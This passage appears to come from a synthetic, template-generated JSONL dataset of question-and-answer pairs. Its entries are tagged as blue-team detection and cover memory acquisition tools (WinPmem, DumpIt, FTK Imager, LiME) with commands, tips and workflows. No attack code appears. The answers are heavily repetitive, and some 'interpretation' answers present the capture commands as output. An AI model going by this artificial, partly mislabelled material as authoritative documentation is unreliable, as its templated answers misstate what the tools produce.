"human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.033149Z", "updated_at": "2025-12-18T00:11:32.033149Z"} +{"id": "trtp-7772363c339f", "instruction": "How do I interpret WinPmem output?", "output": "Interpreting WinPmem output:\n\nCreates raw memory image file for analysis with Volatility or other tools\n\nExample output:\n```\n# Acquire memory to raw file\nwinpmem_mini_x64.exe memory.raw\n\n# Acquire to AFF4 format\nwinpmem_mini_x64.exe -o memory.aff4\n\n# Include pagefile\nwinpmem_mini_x64.exe --pagefile memory.raw\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-winpmem-memory-acquisition", "license": "original", "retrieved_at": "2025-12-18T00:11:32.033077Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.033174Z", "updated_at": "2025-12-18T00:11:32.033174Z"} +{"id": "trtp-54e4c67c2db7", "instruction": "What are some tips for using WinPmem?", "output": "Tips for using WinPmem:\n\n- Run as Administrator\n- AFF4 format supports compression\n- Ensure sufficient disk space\n\nUseful for: Incident response acquisition, Forensic investigation, Malware analysis", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-winpmem-memory-acquisition", "license": "original", "retrieved_at": "2025-12-18T00:11:32.033077Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.033185Z", "updated_at": "2025-12-18T00:11:32.033185Z"} +{"id": "trtp-6885d540888c", "instruction": "How do I use WinPmem for threat detection?", "output": "Using WinPmem for threat detection:\n\nWinPmem is an open-source Windows memory acquisition tool that creates raw memory dumps. It loads a signed driver to access physical memory and supports multiple output formats.\n\nExample:\n```\n# Acquire memory to raw file\nwinpmem_mini_x64.exe memory.raw\n\n# Acquire to AFF4 format\nwinpmem_mini_x64.exe -o memory.aff4\n\n# Include pagefile\nwinpmem_mini_x64.exe --pagefile memory.raw\n```\n\nTips:\n- Run as Administrator\n- AFF4 format supports compression", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-winpmem-memory-acquisition", "license": "original", "retrieved_at": "2025-12-18T00:11:32.033077Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.033203Z", "updated_at": "2025-12-18T00:11:32.033203Z"} +{"id": "trtp-055c68948b58", "instruction": "How do forensic investigators use WinPmem?", "output": "Forensic analysis with WinPmem:\n\nWinPmem is an open-source Windows memory acquisition tool that creates raw memory dumps. It loads a signed driver to access physical memory and supports multiple output formats.\n\nForensic applications:\n- Incident response acquisition\n- Forensic investigation\n- Malware analysis\n\nWhat to look for: Creates raw memory image file for analysis with Volatility or other tools", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-winpmem-memory-acquisition", "license": "original", "retrieved_at": "2025-12-18T00:11:32.033077Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.033215Z", "updated_at": "2025-12-18T00:11:32.033215Z"} +{"id": "trtp-146ef071eb49", "instruction": "What is the typical workflow for using WinPmem?", "output": "Workflow for WinPmem Memory Acquisition:\n\n1. Understand the context: WinPmem is an open-source Windows memory acquisition tool that creates raw memory dumps. It loads a signed driver to access physical memory and supports multiple output formats.\n\n2. Apply the tool:\n```\n# Acquire memory to raw file\nwinpmem_mini_x64.exe memory.raw\n\n# Acquire to AFF4 format\nwinpmem_mini_x64.exe -o memory.aff4\n\n# Include pagefile\nwinpmem_mini_x64.exe --pagefile memory.raw\n```\n\n3. Common scenarios: Incident response acquisition, Forensic investigation, Malware analysis\n\n4. Best practices:\n - Run as Administrator\n - AFF4 format supports compression", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-winpmem-memory-acquisition", "license": "original", "retrieved_at": "2025-12-18T00:11:32.033077Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.033245Z", "updated_at": "2025-12-18T00:11:32.033245Z"} +{"id": "trtp-af56ef471de5", "instruction": "What are the advantages of WinPmem for security analysis?", "output": "Advantages of WinPmem:\n\nWinPmem is an open-source Windows memory acquisition tool that creates raw memory dumps. It loads a signed driver to access physical memory and supports multiple output formats.\n\nBest suited for:\n- Incident response acquisition\n- Forensic investigation\n- Malware analysis\n- Live memory capture\n\nMemory analysis provides unique visibility into running processes and hidden artifacts.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-winpmem-memory-acquisition", "license": "original", "retrieved_at": "2025-12-18T00:11:32.033077Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.033267Z", "updated_at": "2025-12-18T00:11:32.033267Z"} +{"id": "trtp-0d23c94ed1b5", "instruction": "How do I use WinPmem alongside other tools in my toolkit?", "output": "Integration points for WinPmem:\n\nWinPmem is an open-source Windows memory acquisition tool that creates raw memory dumps. It loads a signed driver to access physical memory and supports multiple output formats.\n\nIntegration suggestions:\n- Correlate findings with disk forensics\n- Export IOCs for network monitoring\n- Feed malware samples to sandbox analysis\n- Compare with baseline memory images", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-winpmem-memory-acquisition", "license": "original", "retrieved_at": "2025-12-18T00:11:32.033077Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.033281Z", "updated_at": "2025-12-18T00:11:32.033281Z"} +{"id": "trtp-b6430c9e9f30", "instruction": "What do I need to know about DumpIt?", "output": "DumpIt Memory Acquisition\n\nDumpIt is a simple one-click memory acquisition tool for Windows. Creates a raw memory dump in the same directory as the executable. Minimal user interaction required.\n\nPlatform: windows\n\nCommon uses:\n- Quick acquisition\n- Non-technical responders\n- USB-based IR\n- Emergency capture", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-dumpit-memory-acquisition", "license": "original", "retrieved_at": "2025-12-18T00:11:32.033585Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.033637Z", "updated_at": "2025-12-18T00:11:32.033637Z"} +{"id": "trtp-10467bb75765", "instruction": "What command or query syntax does DumpIt use?", "output": "Syntax for DumpIt:\n\nDumpIt.exe\n\nDumpIt is a simple one-click memory acquisition tool for Windows. Creates a raw memory dump in the same directory as the executable. Minimal user interaction required.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-dumpit-memory-acquisition", "license": "original", "retrieved_at": "2025-12-18T00:11:32.033585Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.033651Z", "updated_at": "2025-12-18T00:11:32.033651Z"} +{"id": "trtp-740184902976", "instruction": "Show me an example of DumpIt in action.", "output": "Example of DumpIt Memory Acquisition:\n\n```\n# Simply run the executable\nDumpIt.exe\n# Press 'y' to confirm\n# Output: COMPUTERNAME-YYYYMMDD-HHMMSS.raw\n```\n\nInterpretation: Creates timestamped raw memory image", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-dumpit-memory-acquisition", "license": "original", "retrieved_at": "2025-12-18T00:11:32.033585Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.033674Z", "updated_at": "2025-12-18T00:11:32.033674Z"} +{"id": "trtp-037103cccb79", "instruction": "What security tasks can I accomplish with DumpIt?", "output": "Use cases for DumpIt:\n\n- Quick acquisition\n- Non-technical responders\n- USB-based IR\n- Emergency capture\n\nDumpIt is a simple one-click memory acquisition tool for Windows. Creates a raw memory dump in the same directory as the executable. Minimal user interaction required.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-dumpit-memory-acquisition", "license": "original", "retrieved_at": "2025-12-18T00:11:32.033585Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.033686Z", "updated_at": "2025-12-18T00:11:32.033686Z"} +{"id": "trtp-5f68a33908dc", "instruction": "What do the results from DumpIt mean?", "output": "Interpreting DumpIt output:\n\nCreates timestamped raw memory image\n\nExample output:\n```\n# Simply run the executable\nDumpIt.exe\n# Press 'y' to confirm\n# Output: COMPUTERNAME-YYYYMMDD-HHMMSS.raw\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-dumpit-memory-acquisition", "license": "original", "retrieved_at": "2025-12-18T00:11:32.033585Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.033706Z", "updated_at": "2025-12-18T00:11:32.033706Z"} +{"id": "trtp-c53cdeb51cfa", "instruction": "How can I get the most out of DumpIt?", "output": "Tips for using DumpIt:\n\n- Keep on USB for IR kit\n- No command line needed\n- Output file is large (size of RAM)\n\nUseful for: Quick acquisition, Non-technical responders, USB-based IR", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-dumpit-memory-acquisition", "license": "original", "retrieved_at": "2025-12-18T00:11:32.033585Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.033719Z", "updated_at": "2025-12-18T00:11:32.033719Z"} +{"id": "trtp-214632593182", "instruction": "What should I look for when using DumpIt for incident response?", "output": "Using DumpIt for threat detection:\n\nDumpIt is a simple one-click memory acquisition tool for Windows. Creates a raw memory dump in the same directory as the executable. Minimal user interaction required.\n\nExample:\n```\n# Simply run the executable\nDumpIt.exe\n# Press 'y' to confirm\n# Output: COMPUTERNAME-YYYYMMDD-HHMMSS.raw\n```\n\nTips:\n- Keep on USB for IR kit\n- No command line needed", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-dumpit-memory-acquisition", "license": "original", "retrieved_at": "2025-12-18T00:11:32.033585Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.033747Z", "updated_at": "2025-12-18T00:11:32.033747Z"} +{"id": "trtp-453f54204ed0", "instruction": "How do forensic investigators use DumpIt?", "output": "Forensic analysis with DumpIt:\n\nDumpIt is a simple one-click memory acquisition tool for Windows. Creates a raw memory dump in the same directory as the executable. Minimal user interaction required.\n\nForensic applications:\n- Quick acquisition\n- Non-technical responders\n- USB-based IR\n\nWhat to look for: Creates timestamped raw memory image", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-dumpit-memory-acquisition", "license": "original", "retrieved_at": "2025-12-18T00:11:32.033585Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.033759Z", "updated_at": "2025-12-18T00:11:32.033759Z"} +{"id": "trtp-f272ba2a55a5", "instruction": "How do I incorporate DumpIt into my security workflow?", "output": "Workflow for DumpIt Memory Acquisition:\n\n1. Understand the context: DumpIt is a simple one-click memory acquisition tool for Windows. Creates a raw memory dump in the same directory as the executable. Minimal user interaction required.\n\n2. Apply the tool:\n```\n# Simply run the executable\nDumpIt.exe\n# Press 'y' to confirm\n# Output: COMPUTERNAME-YYYYMMDD-HHMMSS.raw\n```\n\n3. Common scenarios: Quick acquisition, Non-technical responders, USB-based IR\n\n4. Best practices:\n - Keep on USB for IR kit\n - No command line needed", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-dumpit-memory-acquisition", "license": "original", "retrieved_at": "2025-12-18T00:11:32.033585Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.033786Z", "updated_at": "2025-12-18T00:11:32.033786Z"} +{"id": "trtp-a1c974bdc1ac", "instruction": "What are the advantages of DumpIt for security analysis?", "output": "Advantages of DumpIt:\n\nDumpIt is a simple one-click memory acquisition tool for Windows. Creates a raw memory dump in the same directory as the executable. Minimal user interaction required.\n\nBest suited for:\n- Quick acquisition\n- Non-technical responders\n- USB-based IR\n- Emergency capture\n\nMemory analysis provides unique visibility into running processes and hidden artifacts.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-dumpit-memory-acquisition", "license": "original", "retrieved_at": "2025-12-18T00:11:32.033585Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.033810Z", "updated_at": "2025-12-18T00:11:32.033810Z"} +{"id": "trtp-49723b5d13a5", "instruction": "How do I use DumpIt alongside other tools in my toolkit?", "output": "Integration points for DumpIt:\n\nDumpIt is a simple one-click memory acquisition tool for Windows. Creates a raw memory dump in the same directory as the executable. Minimal user interaction required.\n\nIntegration suggestions:\n- Correlate findings with disk forensics\n- Export IOCs for network monitoring\n- Feed malware samples to sandbox analysis\n- Compare with baseline memory images", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-dumpit-memory-acquisition", "license": "original", "retrieved_at": "2025-12-18T00:11:32.033585Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.033824Z", "updated_at": "2025-12-18T00:11:32.033824Z"} +{"id": "trtp-6ad4aba6a448", "instruction": "How do security analysts use FTK Imager?", "output": "FTK Imager Memory Capture\n\nFTK Imager is a free forensic imaging tool from AccessData that includes memory capture capability. Can create memory dumps along with disk images in forensically sound manner.\n\nPlatform: windows\n\nCommon uses:\n- Full forensic acquisition\n- Combined disk/memory imaging\n- Court-admissible captures\n- Enterprise IR", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-ftk-imager-memory-capture", "license": "original", "retrieved_at": "2025-12-18T00:11:32.034055Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.034087Z", "updated_at": "2025-12-18T00:11:32.034087Z"} +{"id": "trtp-1e0d289d7b23", "instruction": "What command or query syntax does FTK Imager use?", "output": "Syntax for FTK Imager:\n\nFile > Capture Memory\n\nFTK Imager is a free forensic imaging tool from AccessData that includes memory capture capability. Can create memory dumps along with disk images in forensically sound manner.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-ftk-imager-memory-capture", "license": "original", "retrieved_at": "2025-12-18T00:11:32.034055Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.034111Z", "updated_at": "2025-12-18T00:11:32.034111Z"} +{"id": "trtp-6d26ebf22bd5", "instruction": "How would I use FTK Imager for Full forensic acquisition?", "output": "Example of FTK Imager Memory Capture:\n\n```\n# GUI steps:\n1. File > Capture Memory\n2. Select destination path\n3. Enable 'Include pagefile' if needed\n4. Click 'Capture Memory'\n```\n\nInterpretation: Creates .mem file (raw format) plus optional pagefile", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-ftk-imager-memory-capture", "license": "original", "retrieved_at": "2025-12-18T00:11:32.034055Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.034123Z", "updated_at": "2025-12-18T00:11:32.034123Z"} +{"id": "trtp-90b99d2260dc", "instruction": "In what scenarios is FTK Imager useful?", "output": "Use cases for FTK Imager:\n\n- Full forensic acquisition\n- Combined disk/memory imaging\n- Court-admissible captures\n- Enterprise IR\n\nFTK Imager is a free forensic imaging tool from AccessData that includes memory capture capability. Can create memory dumps along with disk images in forensically sound manner.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-ftk-imager-memory-capture", "license": "original", "retrieved_at": "2025-12-18T00:11:32.034055Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.034136Z", "updated_at": "2025-12-18T00:11:32.034136Z"} +{"id": "trtp-bf1e52ba8599", "instruction": "Explain the output of FTK Imager.", "output": "Interpreting FTK Imager output:\n\nCreates .mem file (raw format) plus optional pagefile\n\nExample output:\n```\n# GUI steps:\n1. File > Capture Memory\n2. Select destination path\n3. Enable 'Include pagefile' if needed\n4. Click 'Capture Memory'\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-ftk-imager-memory-capture", "license": "original", "retrieved_at": "2025-12-18T00:11:32.034055Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.034146Z", "updated_at": "2025-12-18T00:11:32.034146Z"} +{"id": "trtp-d9489be3cd03", "instruction": "What are common tips for FTK Imager?", "output": "Tips for using FTK Imager:\n\n- Include pagefile for additional artifacts\n- Hash automatically calculated\n- AD1 format for disk images\n\nUseful for: Full forensic acquisition, Combined disk/memory imaging, Court-admissible captures", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-ftk-imager-memory-capture", "license": "original", "retrieved_at": "2025-12-18T00:11:32.034055Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.034159Z", "updated_at": "2025-12-18T00:11:32.034159Z"} +{"id": "trtp-9ab78ecd77c0", "instruction": "How do I use FTK Imager for threat detection?", "output": "Using FTK Imager for threat detection:\n\nFTK Imager is a free forensic imaging tool from AccessData that includes memory capture capability. Can create memory dumps along with disk images in forensically sound manner.\n\nExample:\n```\n# GUI steps:\n1. File > Capture Memory\n2. Select destination path\n3. Enable 'Include pagefile' if needed\n4. Click 'Capture Memory'\n```\n\nTips:\n- Include pagefile for additional artifacts\n- Hash automatically calculated", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-ftk-imager-memory-capture", "license": "original", "retrieved_at": "2025-12-18T00:11:32.034055Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.034182Z", "updated_at": "2025-12-18T00:11:32.034182Z"} +{"id": "trtp-7ef9e386015c", "instruction": "How do forensic investigators use FTK Imager?", "output": "Forensic analysis with FTK Imager:\n\nFTK Imager is a free forensic imaging tool from AccessData that includes memory capture capability. Can create memory dumps along with disk images in forensically sound manner.\n\nForensic applications:\n- Full forensic acquisition\n- Combined disk/memory imaging\n- Court-admissible captures\n\nWhat to look for: Creates .mem file (raw format) plus optional pagefile", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-ftk-imager-memory-capture", "license": "original", "retrieved_at": "2025-12-18T00:11:32.034055Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.034198Z", "updated_at": "2025-12-18T00:11:32.034198Z"} +{"id": "trtp-952451415428", "instruction": "What is the typical workflow for using FTK Imager?", "output": "Workflow for FTK Imager Memory Capture:\n\n1. Understand the context: FTK Imager is a free forensic imaging tool from AccessData that includes memory capture capability. Can create memory dumps along with disk images in forensically sound manner.\n\n2. Apply the tool:\n```\n# GUI steps:\n1. File > Capture Memory\n2. Select destination path\n3. Enable 'Include pagefile' if needed\n4. Click 'Capture Memory'\n```\n\n3. Common scenarios: Full forensic acquisition, Combined disk/memory imaging, Court-admissible captures\n\n4. Best practices:\n - Include pagefile for additional artifacts\n - Hash automatically calculated", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-ftk-imager-memory-capture", "license": "original", "retrieved_at": "2025-12-18T00:11:32.034055Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.034225Z", "updated_at": "2025-12-18T00:11:32.034225Z"} +{"id": "trtp-1c51f2c91bfd", "instruction": "What makes FTK Imager useful for this task?", "output": "Advantages of FTK Imager:\n\nFTK Imager is a free forensic imaging tool from AccessData that includes memory capture capability. Can create memory dumps along with disk images in forensically sound manner.\n\nBest suited for:\n- Full forensic acquisition\n- Combined disk/memory imaging\n- Court-admissible captures\n- Enterprise IR\n\nMemory analysis provides unique visibility into running processes and hidden artifacts.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-ftk-imager-memory-capture", "license": "original", "retrieved_at": "2025-12-18T00:11:32.034055Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.034251Z", "updated_at": "2025-12-18T00:11:32.034251Z"} +{"id": "trtp-f9b03936a8a5", "instruction": "How do I use FTK Imager alongside other tools in my toolkit?", "output": "Integration points for FTK Imager:\n\nFTK Imager is a free forensic imaging tool from AccessData that includes memory capture capability. Can create memory dumps along with disk images in forensically sound manner.\n\nIntegration suggestions:\n- Correlate findings with disk forensics\n- Export IOCs for network monitoring\n- Feed malware samples to sandbox analysis\n- Compare with baseline memory images", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-ftk-imager-memory-capture", "license": "original", "retrieved_at": "2025-12-18T00:11:32.034055Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.034271Z", "updated_at": "2025-12-18T00:11:32.034271Z"} +{"id": "trtp-e0cbb0fc4ce4", "instruction": "What do I need to know about LiME?", "output": "LiME Memory Acquisition\n\nLiME (Linux Memory Extractor) is a loadable kernel module for acquiring volatile memory from Linux and Android systems. Minimizes forensic footprint during acquisition.\n\nPlatform: linux\n\nCommon uses:\n- Linux incident response\n- Android forensics\n- Server memory capture\n- Remote acquisition", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-lime-memory-acquisition", "license": "original", "retrieved_at": "2025-12-18T00:11:32.034594Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.034622Z", "updated_at": "2025-12-18T00:11:32.034622Z"} +{"id": "trtp-2b4d4c303d65", "instruction": "What is the syntax for LiME?", "output": "Syntax for LiME:\n\ninsmod lime.ko path= format=\n\nLiME (Linux Memory Extractor) is a loadable kernel module for acquiring volatile memory from Linux and Android systems. Minimizes forensic footprint during acquisition.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-lime-memory-acquisition", "license": "original", "retrieved_at": "2025-12-18T00:11:32.034594Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.034644Z", "updated_at": "2025-12-18T00:11:32.034644Z"} +{"id": "trtp-b5da2cd8b7f2", "instruction": "Demonstrate LiME Memory Acquisition with an example.", "output": "Example of LiME Memory Acquisition:\n\n```\n# Build LiME module for target kernel\nmake -C /lib/modules/$(uname -r)/build M=$PWD\n\n# Acquire memory to file\ninsmod lime.ko path=/mnt/usb/memory.lime format=lime\n\n# Acquire over network\ninsmod lime.ko path=tcp:4444 format=raw\n```\n\nInterpretation: LiME format or raw format output for Volatility analysis", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-lime-memory-acquisition", "license": "original", "retrieved_at": "2025-12-18T00:11:32.034594Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.034656Z", "updated_at": "2025-12-18T00:11:32.034656Z"} +{"id": "trtp-08060dc25e56", "instruction": "Give me a practical example of LiME.", "output": "Here is a practical example of LiME:\n\n```\n# Build LiME module for target kernel\nmake -C /lib/modules/$(uname -r)/build M=$PWD\n\n# Acquire memory to file\ninsmod lime.ko path=/mnt/usb/memory.lime format=lime\n\n# Acquire over network\ninsmod lime.ko path=tcp:4444 format=raw\n```\n\nLiME (Linux Memory Extractor) is a loadable kernel module for acquiring volatile memory from Linux and Android systems. Minimizes forensic footprint during acquisition.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-lime-memory-acquisition", "license": "original", "retrieved_at": "2025-12-18T00:11:32.034594Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.034666Z", "updated_at": "2025-12-18T00:11:32.034666Z"} +{"id": "trtp-8486e5e27fb7", "instruction": "When should I use LiME?", "output": "Use cases for LiME:\n\n- Linux incident response\n- Android forensics\n- Server memory capture\n- Remote acquisition\n\nLiME (Linux Memory Extractor) is a loadable kernel module for acquiring volatile memory from Linux and Android systems. Minimizes forensic footprint during acquisition.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-lime-memory-acquisition", "license": "original", "retrieved_at": "2025-12-18T00:11:32.034594Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.034694Z", "updated_at": "2025-12-18T00:11:32.034694Z"} +{"id": "trtp-8a3b0b9221fe", "instruction": "Explain the output of LiME.", "output": "Interpreting LiME output:\n\nLiME format or raw format output for Volatility analysis\n\nExample output:\n```\n# Build LiME module for target kernel\nmake -C /lib/modules/$(uname -r)/build M=$PWD\n\n# Acquire memory to file\ninsmod lime.ko path=/mnt/usb/memory.lime format=lime\n\n# Acquire over network\ninsmod lime.ko path=tcp:4444 format=raw\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-lime-memory-acquisition", "license": "original", "retrieved_at": "2025-12-18T00:11:32.034594Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.034719Z", "updated_at": "2025-12-18T00:11:32.034719Z"} +{"id": "trtp-edd82a4fc92f", "instruction": "How can I get the most out of LiME?", "output": "Tips for using LiME:\n\n- Must match kernel version exactly\n- Use cross-compilation for different kernels\n- TCP mode for remote capture\n\nUseful for: Linux incident response, Android forensics, Server memory capture", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-lime-memory-acquisition", "license": "original", "retrieved_at": "2025-12-18T00:11:32.034594Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.034731Z", "updated_at": "2025-12-18T00:11:32.034731Z"} +{"id": "trtp-73df79bcd245", "instruction": "How can LiME help identify malicious activity?", "output": "Using LiME for threat detection:\n\nLiME (Linux Memory Extractor) is a loadable kernel module for acquiring volatile memory from Linux and Android systems. Minimizes forensic footprint during acquisition.\n\nExample:\n```\n# Build LiME module for target kernel\nmake -C /lib/modules/$(uname -r)/build M=$PWD\n\n# Acquire memory to 